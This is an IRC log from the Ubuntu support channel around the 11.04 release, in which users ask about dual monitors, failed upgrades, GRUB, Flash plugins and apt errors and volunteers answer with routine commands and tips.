[17:37] <ShiverOnBT4> wow im lagged. if anyone can answer that question pls pm it to me
[17:37] <Dr_Willis> uninspired:   I think the panel stuff apears on the primary monitor. at least thats what my nvidia-settings tool calls it.
[17:37] <pr3d4t0r> Have a nice day peeps :)
[17:37] <tensorpudding> jonii2: you'd be less happy if you had a lot of application configuration that you just needed to wipe
[17:37] <Dr_Willis> uninspired:  perhaps check --> http://askubuntu.com/search?q=dual+monitor
[17:37] <kk9822> what is peeps
[17:37] <warp_> xangua: any ideas?
[17:37] <yehudah> Guest68448: can we go to pvt chat?
[17:37] <jonii2> tensorpudding: omg epic sadface
[17:37] <mikinanuq> ShiverOnBT4: try using "screen" even if the window is closed the console is open in the background..
[17:37] <uninspired> Dr_Willis: right, thats what i did i set my external monitor as primary, still no go.
[17:38] <ikonia> ShiverOnBT4: are you using backtrack ?
[17:38] <coder2> Dr_Willis: you recommendedme clean install why so?is there problem in upgrading?
[17:38] <eiriksvin> is there an easy way to install this on Ubuntu 10.10: http://dbgthekafu.deviantart.com/art/black-white-2-Style-73276755
[17:38] <jonii2> tensorpudding: to get the unity bar to pop out i have to put my mouse at the left side of my left screen, and it pops up on the left side of my right screen :(
[17:38] <tensorpudding> but i mean, you could go and comb through that directory to find the specific ones that's causing the problems, and save the rest, but it's really tedious
[17:38] <uninspired> Dr_Willis: i'll try the link you gave me, thank you.
[17:38] <Guest68448> yehudah: sorry, I am new here and don't know how to do it. However, I have your answer here http://ubuntuforums.org/showthread.php?t=1685134
[17:38] <tensorpudding> jonii2: that's unfortunate :|
[17:39] <kk9822> what is this 32 and sixty four
[17:39] <jonii2> tensorpudding: maybe not, i think i can swap my screens so my main is on the left and secondary is on the right, then it won't be bad
[17:39] <kk9822> got to do with installation
[17:39] <kk9822> of ubuntu
[17:39] <ikonia> kk9822: different processor capabailities
[17:39] <Guest68448> Hello, I cannot play files on my mp4 player when I've transferred them from Ubuntu. However, they work fine when transferred from Windoze. Please save me from having to reinstall Windoze!!!
[17:39] <kk9822> so what i should choose i have a dell studio
[17:39] <tensorpudding> kk9822: if you don't really care, choose the 32-bit one
[17:40] <ikonia> Guest68448: it's called "Windows"
[17:40] <Crazy1> hello ,when i use vim to create an text ,how did i quit from it without reserve it
[17:40] <ikonia> kk9822: 32bit seems the sensible option unless you have 4GB of ram or more
[17:40] <jonii2> tensorpudding: thanks dude, your awesome, and you actually told me to use the filemanager instead of some super long terminal command. :D alright i need to go bask in the new Unity awesomeness, see you later
[17:40] <Crazy1> did anyone know?
[17:40] <ufoz> hi all. i did a dist upgrade to 11.04. In the Dash i cant search for applications, i cant start the multimedia applications.
[17:40] <Ampelbein> Crazy1: ':wq'
[17:40] <ikonia> Crazy1: :q!
[17:40] <Guest68448> ikonia: yes, in some circles. ;)
[17:40] <pod88> anyone here a compiz genius?
[17:41] <iceroot> pod88: #compiz
[17:41] <ikonia> Guest68448: in this one, it's called "windows"
[17:41] <warp_> how to resume from a failed upgrade process? I was upgrading from 10.10 to 11.04 when my laptop crashs due to battery failure... any ideas?
[17:41] <pod88> iceroot, thanks
[17:41] <Ampelbein> hmm, ikonia I think we parsed the question from crazy1 differently ;-)
[17:41] <iceroot> warp_: sudo dpkg --configure -a
[17:41] <ikonia> warp_: depends on what stage it crashes, just re-do the upgrade process
[17:41] <uninspired> Dr_Willis: have the same problem as alfalive on this ticket: http://askubuntu.com/questions/17074/dual-monitor-unity-launcher-opening-on-wrong-monitor
[17:41] <BKTech86> when i boot up ubuntu on my laptop with live cd, the load screen looks normal, with good resolution, but when i boot from disk, it is all pixelated and the screen flickers a few times -- what's with that?
[17:41] <Guest68448> ikonia: is that a rule or a preference?
[17:41] <uninspired> not sure why he says "good news" tho :P
[17:42] <warp_> iceroot thanks
[17:42] <pod88> iceroot, thier channel banner says no useer support :(
[17:42] <ikonia> Guest68448: showing some respect by using the proper product name, and communitcating cleary,
[17:43] <IdleOne> Guest68448: The idea is that we can't expect the Windows community to take the Linux community serious if we can't even use the proper spelling of their OS of choice.
[17:44] <Crazy1> ikonia: thank you,it works
[17:44] <ufoz> i try to search for installed applications in the unity dash. but nothing happens. it wont search
[17:44] <warp_> ikonia: I will try sudo dpkg --configure -a suggested by iceroot, but I think it was at the third pass...
[17:44] <ricardo> hello ubuntuS
[17:44] <Guest68448> ikonia: sorry, but as a newb I'm lost when it comes to terminology. I've had this problem in the past but cannot remember the name of the program I need. As for respect, after spending a bundle and reinstalling on the 20th time, I was shown respect by not being allowed to reinstall until I sent them 199 USD for a new key.
[17:44] <Kruptein> It has probably been asked a lot,   but what are possible solutions to improve my performance but sticking to unity?  I really notice a larger difference in speed compared to 10.10
[17:45] <ikonia> Guest68448: you've just said random words, you know the product is called "Windows" - call it "windows" please rather than trying to make excuses, then someone may actually help you
[17:45] <ricardo> hello, anyone can help-me
[17:45] <ikonia> ricardo: if you ask a question
[17:45] <thiebaude> !offtopic
[17:45] <ubottu> #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[17:45] <ricardo> baterry estimation on ubuntu
[17:46] <ikonia> ricardo: depends on your hardware, and what you're doing - rule of thumb is same as windows
[17:46] <Guest68448> ikonia: you just got here. I've been here for hours and others have been trying to help. But I lack the terminology to clearly explain the problem with my mp4 player.
[17:46] <Dr_Willis> ricardo:  i get better battery life under windows on my laptop. but only if i enable its extreme 'eco' mode feature. which  slows it down so much its barely useable. :)
[17:47] <ikonia> Guest68448: you KNOW the product is called windows, so don't use that as an excuse, if you use the correct term "windows" and clearly state your problem, maybe someone will help you
[17:47] <mick_st_john> ola a to2 y tod@s
[17:47] <MattAAron>  If I can do dual monitors on my video card now, and I buy another video card (exact same one as the one I have now), would I be able to do 4 monitors??
[17:47] <ricardo> This is a bug, right?  The status of the battery is ever:  estimation...
[17:47] <iceroot> MattAAron: yes
[17:47] <ikonia> MattAAron: depends on the xorg dirvers you're using, what video card is it ?
[17:47] <Dr_Willis> MattAAron:  if the pc can fit them all in.  and they are nvidia - just use the nvidia settings tool.
[17:47] <MattAAron> http://www.newegg.com/Product/Product.aspx?Item=N82E16814150447
[17:47] <Dr_Willis> MattAAron:  you will need a big desk. :)
[17:47] <MattAAron> ATI, 5770
[17:47] <wildc4rd> would someone be so kind as to remind me of the code to change the maximise/minimise etc buttons back to the right hand side after an upgrade to narwhal
[17:48] <MattAAron> lol Dr
[17:48] <ikonia> Dr_Willis: no they can't
[17:48] <ikonia> it doesn't support multiple cards
[17:48] <ikonia> Dr_Willis: twinview only supports 1 card with multiple ports
[17:48] <Guest68448> ikonia: I was talking about Linux terminology. I couldn't care less about MS.
[17:48] <ikonia> Guest68448: I can, it's called "windows"
[17:48] <Sledge> LOL
[17:48] <Dr_Willis> ikonia:  ive used it with 3 monitors.  Not lately but about a year ago i did.
[17:48] <ubuntu> connect irc.server.net
[17:48] <MattAAron> so 2xRadeon 5770 = 4 monitors right?
[17:48] <mick_st_john> xico solo busca xica sola acepto privis
[17:48] <Guest68448> ikonia: I'm happy for you
[17:48] <tjiggi_fo> !es | mick_st_john
[17:48] <ubottu> mick_st_john: En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[17:49] <ikonia> Dr_Willis: 3d acceleration ?
[17:49] <ricardo> ikonia: Is possible fix this bug?
[17:49] <mrchak> would anybody feel magnanimous enough to help me with some problems with an Ubuntu 11.04 upgrade?
[17:49] <ikonia> Dr_Willis: eg: 3 monitors being spanned on two cards with 3d acceleration ?
[17:49] <ikonia> mrchak: just ask, people will help if they can
[17:49] <Dr_Willis> ikonia:  one card was onboard. other was an 8800gtsxxx  i just ran it that way for a few days . so dont recall.
[17:49] <GuyCanada> hey guys im having  problem where i cant get my hdmi output to work since upgrading to 11.04
[17:49] <Dr_Willis> ikonia:  i do think compiz was working with it. I recall the cube effect being very very weird.
[17:49] <MnCC> is there a list of chipsets supported by unity ? cant find it
[17:50] <ikonia> Dr_Willis: let me double check this as I've actually spoke to people at nvidia about this hence my surprise
[17:50] <mrchak> I've just upgraded from Ubuntu 10.10 to 11.04 using the Update manager and after the install, when the computer rebooted I got the Grub prompt and have been unable to boot into Ubuntu
[17:50] <Dr_Willis> MnCC:  it would be chipsets supported by X/Ubuntu.
[17:50] <Guest68448> Hello, I cannot play files on my mp4 player when I've transferred them from Ubuntu. On the mp4 player I can see the folders but not the contents. In Ubuntu I can see the folder and contents of the mp4 player.
[17:50] <Cutepuppy> I am having an issue installing 11.4 on a Lenovo T500, crashing with a modprobe error, is there a workaround for this ?
[17:50] <Dr_Willis> ikonia:  it may not have had 3d. i rarely use that stuff. I just wanted wide scrren. I also had issues where it would work.. but when i rebooted. it wold break. untill i reran nvidia-settings and restarted X.
[17:50] <MnCC> Dr_Willis, why is it complaining about not having good enough hardware ?
[17:51] <GuyCanada> is anyone else having an issue outputting hdmi with 11.04? im running a nvidia card and im not sure what to do
[17:51] <Dr_Willis> MnCC:  you dont have the drivers installed for 3d support - is the #1 answer to that question
[17:51] <Dr_Willis> GuyCanada:  hdmi video or are you refering to audio?
[17:51] <mrchak> I am currently running 11.04 live cd
[17:51] <thiebaude> !unity 2d
[17:51] <GuyCanada> dr_willis: video, sorry.
[17:51] <MnCC> Dr_Willis, how do i test this ?
[17:51] <Dr_Willis> !info unity-2d
[17:51] <ubottu> unity-2d (source: unity-2d): Unity interface for non-accelerated graphics cards. In component main, is optional. Version 3.8.4.1-0ubuntu1 (natty), package size 7 kB, installed size 124 kB
[17:51] <Halt> yes?
[17:52] <thiebaude> thanks Dr,:)
[17:52] <Dr_Willis> MnCC:  run the addational-drivers tool and see what it says.
[17:52] <ikonia> Dr_Willis: still worth me checking up, thanks
[17:52] <MnCC> Dr_Willis, can tell you that now: nothing
[17:52] <GuyCanada> dr_willis: i used to be able to simple hit function-F8 to go to hdmi and it doesnt work anymore. ive already chaked that my keyboard is mapped properly
[17:52] <Dr_Willis> ikonia:  I cant even test. I had to pull out my 8800 to plug in a usb-3 card. :) and now the pc is now a lot quieter heh.
[17:52] <Guest27069> i recently reinstalled ubuntu and selected lvm during the install, but I noticed that ubuntu barely used my second hard drive and only place a swap partition on it. I was hoping someone could help me figure out if lvm is configured correctly
[17:52] <work> My tablet pc screen is always a little left then click on the local party. In ubuntu just uninstall the driver and the wacom touch screen was disabled, but on ubuntu 4.11 wacom driver was replaced by what?
[17:52] <Dr_Willis> MnCC:  what is yoru video chipset?
[17:52] <pod88> bah, noone is alive in #compiz, anyone here good with it?
[17:53] <ikonia> Guest27069: how many disks are in the volume group ?
[17:53] <ben_> test
[17:53] <Kruptein> It has probably been asked a lot,   but what are possible solutions to improve my performance but sticking to unity?  I really notice a larger difference in speed compared to 10.10
[17:53] <ben_> dit is een test zo meteen kassa kijken
[17:53] <Guest27069> ikonia: not sure what you mean
[17:53] <ben_> www.radio-tv-nederland.nl
[17:53] <work> My tablet pc screen is always a little left then click on the local party. In ubuntu just uninstall the driver and the wacom touch screen was disabled, but on ubuntu 4.11 wacom driver was replaced by what?
[17:53] <ben_> bye God bless ya
[17:53] <AzoteLogiko> ben_ :D
[17:53] <jw_> Finally got on to 11.04 looks beautiful, Does compiz work at all?
[17:54] <ikonia> Guest27069: pastebin the output of these two commands please "mount" and then the output of "sudo vgdisplay"
[17:54] <ikonia> Guest27069: please use a pastebin for the output
[17:54] <russjr08> Hey guys, I need help removing kde, I installed kubuntu-desktop and when I try to remove it using the puregnome instructions from psychocats I get an error http://paste.ubuntu.com/601393/
[17:54] <Raiders32> I just upgraded to Natty.  How do you clear "Recent" which appears when you click on "Files & Folders" launcher button?
[17:54] <mrchak> I've just upgraded from Ubuntu 10.10 to 11.04 using the Update manager and after the install, when the computer rebooted I got the Grub prompt and have been unable to boot into Ubuntu
[17:54] <Dr_Willis> russjr08:  that guide may be a little outof date with the new releases.
[17:54] <terrylm> X, screen goes gray, mouse still works, everything apparently still works, just can not be seen.  Ideas?  9.04 and 10.x
[17:54] <russjr08> Dr_Willis, it says it's for Natty
[17:54] <GuyCanada> Dr_Willis: its video out, i used to be able to hit function-F8 to go to hdmi and ive checked that my keyboard is mapped properly
[17:55] <Guest68448> I cannot play files on my mp4 player when I've transferred them from Ubuntu. On the mp4 player I can see the folders but not the contents. In Ubuntu I can see the folder and contents of the mp4 player. I had this problem before with PCLOS and was told to install a program that enabled communication between the OS and the mp4 player. It worked perfectly after. But I cannot remember the name of the program or the type of program it was.
[17:55] <work> My tablet pc screen is always a little left then click on the local party. In ubuntu just uninstall the driver and the wacom touch screen was disabled, but on ubuntu 4.11 wacom driver was replaced by what?
[17:55] <russjr08> "Getting Back to a Pure Gnome on Ubuntu
[17:55] <russjr08> Note, this applies only to Ubuntu 11.04 (Natty)."
[17:55] <muneeb> Is it necessary to have nspluginwrapper even if i install 64bit flash-plugin??
[17:55] <MnCC> Dr_Willis, VGA compatible controller: Intel Corporation Core Processor Integrated Graphics Controller (rev 02) (prog-if 00 [VGA controller] i915 driver attached, reenabling gpu turbo
[17:55] <Dr_Willis> GuyCanada:  changeing displays on the fly. Hmm. once on my laptop - i had to enable the monitor using the monitors setting tool. and I recall needing to be plugged into the external when i powered up. Or else it would be a little flakey
[17:55] <pod88> noone... :(
[17:56] <rokyronnie> cause I wanted to combine 2 partitions without losing data I resized a partition by adding to it the free space from that HDD, so that's what I did, but, after rebot my PC runns very ver HARD, I opened Gparted, and guess what? that free space is still there and now in Gparted --> Devices I can see my HDD /dev/sda (149.05Gb) and then it comes a list from /dev/sda100 (119 Gb) to /dev/sda225 (119Gb) so there are 125 "devices" what can I do to have my HDD bac
[17:56] <thiebaude> i have amd opteron, but with 2gb ram should i go for 32 or 64bit?
[17:56] <pod88> that makes me a sad panda
[17:56] <Dr_Willis> MnCC:  Most intel drivers are allready included. You may want to check the forums for that exact chipset - to see if theres some known bugs going on.
[17:56] <work> My tablet pc screen is always a little left then click on the local party. In ubuntu just uninstall the driver and the wacom touch screen was disabled, but on ubuntu 4.11 wacom driver was replaced by what?
[17:56] <Dr_Willis> thiebaude:  i use 64bit on all my machines that can do 64bit. :) 5 out of 6.
[17:56] <SaiDawi> I have installed Ubuntu 11.04 on my Sony Vaio Laptop, but it's stopped every now and then
[17:56] <MnCC> Dr_Willis, ill give google another try
[17:56] <Guest27069> ikonia: http://pastebin.com/wRQ70sEn
[17:57] <thiebaude> ok i'll go with that, with login enabled
[17:57] <russjr08> Ok, I think I may have fixed it :)
[17:57] <ikonia> thiebaude: makes no difference
[17:57] <Dr_Willis> MnCC:  thers the askubuntu web site now also
[17:57] <SaiDawi> The whole system stops working, the mouse movces, but I can't really do anything
[17:57] <russjr08> sudo apt-get install default-jre
[17:57] <Cutepuppy> If i am experiencing this issue : http://ubuntuforums.org/showthread.php?t=1743181&highlight=T500, what could i do to be able to install 11.04 ?
[17:57] <GuyCanada> Dr_Willis: Thanks, another guy said the same thing and i tried booting with the external plugged in but it didnt seem to help. How would i do it with the monitors settings? i think the nvidia settings override my monitor settings if that makes sense?
[17:57] <thiebaude> so i can choose gnone classic,lol
[17:57] <ikonia> Guest27069: what is starred out ?
[17:57] <Dr_Willis> thiebaude:  i got one box cacheing the apt packages for the rest of the lan. so i save space/time by doing all 64 when i can.
[17:57] <thiebaude> thanks ikonia and Dr. :)
[17:57] <redgone> can i turn off composite without breaking unity?
[17:57] <Dr_Willis> GuyCanada:  You did try running the nvidia-settings tool?
[17:58] <thiebaude> Dr, it uses a little more ram, 64 bit?
[17:58] <id10t> anyone know an easy program for working with java code? I am use to using jGrasp and don't know how to get Eclipse to work
[17:58] <Dr_Willis> thiebaude:  ive never really noticed it using any more. In theory it does.
[17:58] <Edwisoca> hi, i have a laptop hp, core i5, 500 gb hdd, 4 gb ram, intel gma 4500mhd, and i just downloaded ubuntu 11.04 yesterday, im trying the live feature from my pendrive and it works fine, but when i try to install the ubuntu on my laptop i just get a black screen, but the caps block still works, what can i do?
[17:58] <thiebaude> im on windows 7 but im moving to 11.04
[17:58] <thiebaude> :)
[17:58] <Dr_Willis> !eclipse
[17:58] <GuyCanada> Dr_Willis: I have im not exactly sure that im doing though but i cant see my other display
[17:58] <operatorplik> gfdj
[17:58] <thiebaude> bbl
[17:58] <Kevin147> Is there any widgets in 11.04 for like the weather?
[17:59] <thiebaude> i got to go burn a cd
[17:59] <SaiDawi> Any idea on my issue? I have installed Ubuntu 11.04 on my Sony Vaio Laptop, but it's stopping every now and then.. The whole system stops working, the mouse movces, but I can't really do anything..
[17:59] <Dr_Willis> GuyCanada:  Hmm. sounds like the drive is not seeing it at all. that may be the core of the whole problem.
[17:59] <Guest27069> ikonia: my user name, someone told me not to include those due to a security risk
[17:59] <id10t> edwisoca, intel gma has been known for its problems with the default video drivers.
[17:59] <GuyCanada> Dr_Willis: interesting, do you have any suggestion about what could be done?
[17:59] <ikonia> Guest27069: there is no service risk and for things like device mapper, it makes it hard to see what's going on
[17:59] <Dr_Willis> Kevin147:  theres some indicator-applets out there that do the weather. saw one mentioned at the omgubuntu blog site.
[17:59] <mrchak> I am running Natty Live CD right now, is it possible for me to recover my old Home Directory from Ubuntu 10.10?
[17:59] <Edwisoca> id10t, what can i do if i want to install ubuntu 11.04
[17:59] <Guest27069> sorry, want me to repaste?
[18:00] <Kevin147> Dr_Willis: alright, thanks :P
[18:00] <ikonia> Guest27069: how big is your hard disk ?
[18:00] <ikonia> Guest27069: nah, I figured it out enough, just want to check some stuff
[18:00] <Sledge> is there a  way i can change these hotcorner thingies
[18:00] <Dr_Willis> mrchak:  you can access your old ubuntu install.  and copy stuff elsewhere.
[18:00] <warp_> thiebaude: You are taking the SMART decision!
[18:00] <Sledge> usually you can just right click on them change their settings top, right bottom, left all that jazz
[18:00] <muneeb>  Is it necessary to have nspluginwrapper even if i install 64bit flash-plugin??
[18:00] <ikonia> noonoooo: yes
[18:00] <ikonia> oops
[18:00] <ikonia> muneeb: not for flash no, but for other 32bit stuff, sure
[18:00] <Sledge>  I HATE FLASH
[18:00] <snowrichard> my monitor says "input not support" during the 11.04 bootup but once the login screen starts its ok
[18:01] <ikonia> Sledge: thanks for that random noise
[18:01] <Dr_Willis> mrchak:  it dosent show up in the places menu? You could try mounting it by hand.
[18:01] <przemoReX> hi. I've got an issue when running eclipse on ubuntu 11.04. Side sliding bars doesn't show up
[18:01] <id10t> edwiscoca, specifically which intel gma do you have, ie: intel gma 4500?
[18:01] <Sledge> ikonia,  well sorry, but it stopped working after the upgrade, and i had it working just so good.
[18:01] <muneeb> ikonia, i'm having problems with nspluginwrapper so i was thinking of removing it... what should i do?
[18:01] <Edwisoca> intel gma 4500mhd
[18:01] <Sledge> muneeb,  are you having a problem with flash after the upgrade?
[18:01] <ikonia> muneeb: remove it if you want to
[18:01] <Dr_Willis> snowrichard:  i get a similer error. 'out of range' - i disabled the plymouth splash, and made grub use a normal text interface.
[18:02] <Halt> Banshee won't play any music, it just says "idle" :\
[18:02] <Edwisoca> is there a secure mode or a alternative video install part?
[18:02] <researcher123> I have downloaded ubuntu 11.04. I am on 10.4.how to install 11.04 it to replace 10.04?
[18:02] <muneeb> Sledge, flash didnt get install due to errors from nspluginwrapper so i installed it manually..
[18:02] <Sledge> muneeb did you use the .so file?
[18:02] <Halt> Banshee won't play any music, it just says "idle" :(
[18:02] <rumpel1> researcher123, best way: put it on a usb-stick, boot from it, install from it with formatting /
[18:03] <russjr08> researcher123, the installer for 11.04 should have an option to replace ubuntu 10.04
[18:03] <muneeb> Sledge, yes but 64bit
[18:03] <snowrichard> Dr_Willis,  well its not hurting anything.  Would i disable the splash in the grub 2 configuration some how?
[18:03] <Sledge> muneeb, yes same exact problem im having
[18:03] <russjr08> Halt, have you installed the appropriate codecs?
[18:03] <GuyCanada> Dr_Willis: hey, i have it working now the display is detected but i remember doing this before now. nvidia isnt very good at handling this stuff, when i plug in a new monitor is affects my computer monitor ins strange ways and i cant just copy my computer display to the other monitor. i think im going about it wrong now that i think about it tho. i dont want a second monitor i want to output as if i were using the pc for a presentation or simmilar
[18:03] <Halt> russ, it was working last night
[18:03] <researcher123> russjr08: but it will undo earlier applications which are installed on 10.04
[18:03] <russjr08> hmm..
[18:03] <glaceon_> hello please
[18:03] <Halt> booted up this morning and now it doesn't
[18:03] <glaceon_> people
[18:03] <researcher123> @upgrade
[18:03] <muneeb> ikonia, i'm unsure whether am i using 32bit or 64bit java.. that's why i'm not removing it
[18:03] <researcher123> !upgrade
[18:03] <ubottu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[18:03] <GuyCanada> Dr_Willis: for my computer i can normally press function-F8 so do this but now its changed, im not sure if that means anyhting to you
[18:04] <Halt> so yeah, im dying without my music
[18:04] <Halt> D:
[18:04] <axisys> i needed to install ubuntu-restricted-extras for the firefox and google chrome plugin to work with metacafe
[18:04] <Dr_Willis> snowrichard:  i use the quiet nosplash  option. in /etc/default/grub  and theres a setting commented to enable the text/simple grub menu also.
[18:04] <Sledge> Halt use rythmbox
[18:04] <muneeb> Sledge, so is flash working now?
[18:04] <przemoReX> I'm also very used to changing order of the open windows butons in window list on bottom bar in Gnome but it's disabled in 11.04. How can I enable buttons sliding in window list bar?
[18:04] <Halt> why?
[18:04] <id10t> edwisoca, it should work for you, I suggest re-installing 11.04 from a cd. check out this article: http://wiki.daviddarts.com/Ubuntu_Maverick_on_the_Asus_UL30VT
[18:04] <Sledge> muneeb,  no i have tried uninstalling and reinstalling
[18:04] <Halt> banshee WAS working
[18:04] <Dr_Willis> GuyCanada:  the driver is proberly not letting it do it.  OR you need to do that fn-f8 THEN run the nvidia-settings tool. and it may see it.
[18:04] <snowrichard>  /etc/default/grub thanks
[18:04] <Edwisoca> thanks id10t!!!
[18:04] <snowrichard> i'll take a look
[18:05] <Dr_Willis> GuyCanada:  perhpas the laptop is turning it Off. so the driver is not seeing it to let you configure it.
[18:05] <Guest27069> ikonia: any ideas?
[18:05] <Sledge> Usually i can just right click on a launcher panel and change the size settings, and things liek that color, text font.. but for some reason i can't do that anymore, and all my colors and sizes hhave changed with unity..
[18:05] <muneeb> Sledge, i just copied that .so file to /usr/lib64/mozilla/plugins/libflashplayer.so and it worked
[18:06] <id10t> edwisoca, np
[18:07] <Tetsuo55> woah
[18:07] <Tetsuo55> that was the wierdest bug i ever encountered
[18:07] <Edwisoca> nope
[18:07] <GuyCanada> Dr_Willis: again im not really sure what that means, nvidia can detect the display right now if i go to configure it as a second monitor but not to hit fn-F8 so im not sure what that means. is there a way to manually turn on video outputs?
[18:07] <Edwisoca> id10t
[18:07] <Tetsuo55> I pressed alt-tab and was greeted by the login screen
[18:07] <Tetsuo55> in less than a second ubuntu had logged me out
[18:07] <Edwisoca> it works when ubuntu is installed
[18:07] <Tetsuo55> and gracefully closed all my apps
[18:07] <Tetsuo55> wtf
[18:07] <Edwisoca> but i cannot install
[18:07] <Edwisoca> i just get a black screen is there a text mode install?
[18:08] <GuyCanada> Dr_Willis: woah i got a strange message this time when i hit fn-F8 it says "could not switch monitor configurations for crt 351"
[18:08] <jasonmchristos> When I am using the ubuntu live CD and gnome starts acting up how would I from cli tell gnome to restart?
[18:08] <ph88> how do i setup a connection with a crosscable to my NAS ? my nas has samba support (and also linux network TFS but not sure)
[18:08] <Dr_Willis> GuyCanada:   interesting. Not try the nvidia-settings tool?
[18:08] <Dr_Willis> now try....
[18:09] <Tetsuo55> unfortunately apport didnt catch it, i did see a quick flash of console output
[18:09] <Dr_Willis> jasonmchristos:  sudo service gdm restart would kill/restart gnome
[18:09] <GuyCanada> Dr_Willis: ok, also its kind of interesting if i go to the monitors preferences it does NOT detect another monitor
[18:10] <ph88> correction i mean NFS instead of TFS
[18:10] <Dr_Willis> GuyCanada:  theres also the command to try 'nvidia-xconfig'  theres an -A option (i think) that tells it to make an xorg.conf to enable all monitors. Its been ages since ive had to use it, you may want to check its --help output.
[18:10] <mrchak> when upgrading from 10.10 to 11.04, should my Home directory and files be safe?
[18:10] <gmachine_24> anyone have a good utility to set CPU levels - to save on power when running on battery, etc.
[18:11] <Soothsayer> mrchak, can you back them up?
[18:11] <coder2> can i upgrade directly to 11.04 from 10.04 without going through 10.10??
[18:11] <_Neytiri_> is there a way to upgrade from a 32 but ubuntu to 64 bit without reinstalling the whole system
[18:11] <Soothsayer> _Neytiri_, I don't think so
[18:11] <xangua> _Neytiri_: no
[18:11] <GuyCanada> --help output
[18:11] <snowrichard> Dr_Willis, thank you no more annoying message on the monitor
[18:11] <Dr_Willis> _Neytiri_:  Big No. :)
[18:11] <sakekasi> my banshee sound menu entry has disappeared. how do I get it back?
[18:11] <xangua> coder2: always good ideam make a copy of important data
[18:11] <Dr_Willis> snowrichard:  great.. err.. wjhat mesage? :)
[18:11] <_Neytiri_> k i guess i gotto scratch the system again
[18:11] <ph88> how do i mount my NAS? it has samba and NFS support, i am using a crosscable
[18:12] <snowrichard> about not supported video mode
[18:12] <Dr_Willis> I just got a 'teacher badge' on the askubuntu web site. heh.
[18:12] <terrylm> X, screen goes gray, mouse still works, everything apparently still works, just can not be seen.  Ideas?  9.04 and 10.x
[18:12] <Dr_Willis> ph88:  you mean a crossover cable? does it get an ip#?
[18:12] <coder2> Dr_Willis: congrats
[18:12] <okenobi_> Hello everybody! I made an upgrade from 10.10 to 11.04 and everything worked smooth! Congrats!
[18:12] <Dr_Willis> snowrichard:  I have the attention span of a newt.  :)
[18:12] <truepurple> What is the name of that other channel? Something like "#ubuntu-beginners"
[18:12] <ph88> Dr_Willis: yes i mean a crossover cable, i'm not sure if it gets an ip
[18:13] <SuBmUnDo> please, how to disable the touch screen in ubuntu 11.04?
[18:13] <gmachine_24> Dr_Willie, I'm sorry, what were you talking about? ;)
[18:13] <SaiDawi> How can I stop those silly visuals in the new Ubuntu? I could do that in 10.10 from the Appearance menu
[18:13] <gmachine_24> Willis, even
[18:13] <mrchak> Soothsayer: after the upgrade (from Update manager) I rebooted but got stuck on the GRUB prompt
[18:13] <coder2> okenobi_: can i upgrade directly to 11.04 from 10.04 without going through 10.10??
[18:13] <Soothsayer> mrchak, damn, I went through that too.
[18:13] <mrchak> Soothsayer: now I'm running Natty Live CD to try to access my old Home directory
[18:13] <xangua> SaiDawi: unity won't work without compiz if that is what you are asking
[18:13] <gmachine_24> coder2, yes
[18:13] <okenobi_> coder2: I don't think so!
[18:13] <gmachine_24> why not?
[18:13] <SaiDawi> ;/
[18:13] <ph88> Dr_Willis: may i query you ?
[18:13] <tatzenblogde> coder2, you cant upgrade directly
[18:13] <mman> made and upgrade to 11.04 and wireless network does not work. did lshw -C network and my wireless network says DISABLE. any ideas how to enable it?
[18:13] <Edwisoca> Anybody knows hot to install ubuntu 1104 in text mode????
[18:13] <xangua> SaiDawi: use 'classic desktop' or 'unity 2d'
[18:13] <Soothsayer> mrchak, I just ran the installer all over again. Can you move your /home and data files to a separate partition?
[18:13] <coder2> gmachine_24: show me the way?
[18:13] <przemoReX> I'd like to ask if anybody using eclipse on ubuntu 11.04 has an issue with missing side sliding bars
[18:14] <rgr> Why is unity tied in with Compiz? Must it use 3d wobbles or what?
[18:14] <tatzenblogde> Edwisoca, use alternate cd
[18:14] <SaiDawi> how can I choose to use Classic desktop? ex0a
[18:14] <gmachine_24> coder2, well these people here know more than me so apparently I'm wrong.
[18:14] <Edwisoca> thaks
[18:14] <SaiDawi> err... xangua
[18:14] <Soothsayer> mrchak, I'd _really_ suggest just formatting your OS partition and installing 11.04 from scratch. Quite a bunch of people are facing odd upgrade issues.
[18:14] <truepurple> What is the name of that other channel? Something like "#ubuntu-beginners"
[18:14] <mrchak> soothsayer: I can't find my home and data files now.
[18:14] <tatzenblogde> Edwisoca, you can choose with F4 or F6 (options) the command-line-system
[18:14] <snowrichard> guess i was lucky upgrade worked fine
[18:14] <groundup> Hey, I am having troubles with apt-get today. I was trying to upgrade Nginx but it failed and now I can't do anything with apt-get because it says The following packages have unmet dependencies:  nginx-full : Depends: nginx-common (= 1.0.0-0ppa1~maverick) but it is not installed E: Unmet dependencies. Try using -f.
[18:14] <okenobi_> coder2: there is a flag though to list only LTS versions! and then you CAN!
[18:14] <gmachine_24> coder2: besides I never upgrade. I had one bad experience a long time ago so I just save my data files and do a fresh install
[18:14] <snowrichard> even wireless still worked
[18:14] <Dr_Willis> ph88:  i may have to chase after the grandkids at a moments notice. so i often run off unexpectedly.
[18:14] <Soothsayer> mrchak, are you sure you didn't run a formatted install ?
[18:14] <SaiDawi> I don't want to use Unity, it's bothering me
[18:14] <coder2> gmachine_24: allright.......no worry
[18:15] <mrchak> Soothsayer: I didn't format.
[18:15] <jimcooncat> I'm with you, gmachine_24
[18:15] <groundup> Of course, I went through the process of trying -f numerous times but it always comes up with the same error
[18:15] <xangua> groundup: tried to use apt-get instaññ -f, like the message says¿¿
[18:15] <DeadEnd> SaiDawi: to use classic desktop with or without effects logout and change to classic desktop
[18:15] <ph88> how do i block users from querying me? I am using Ubuntu 11.04 with empathy (IRC network ofcourse)
[18:15] <tchomas> SaiDawi,  logout and change to clasic version
[18:15] <Dr_Willis> ph88:  if you are using a crossover cable. You mauy need to install a dhcp server, or set up the NAS with a static ip.
[18:15] <groundup> xangua: beat you to the punch :P
[18:15] <mrchak> Soothsayer: It was just an upgrade from 10.10 to 11.04 using the Update manager
[18:15] <gmachine_24> jimcooncat: yeah, it was a grand disaster
[18:15] <okenobi_> coder2: for servers I'm sure you can! for desktop, i didn't do it personaly, but now that i think of it, I'm sure you can make an upgrade from 10.04 to 11.04!
[18:15] <xangua> ph88: empathy is very limited for irc
[18:15] <SaiDawi> Aha aha
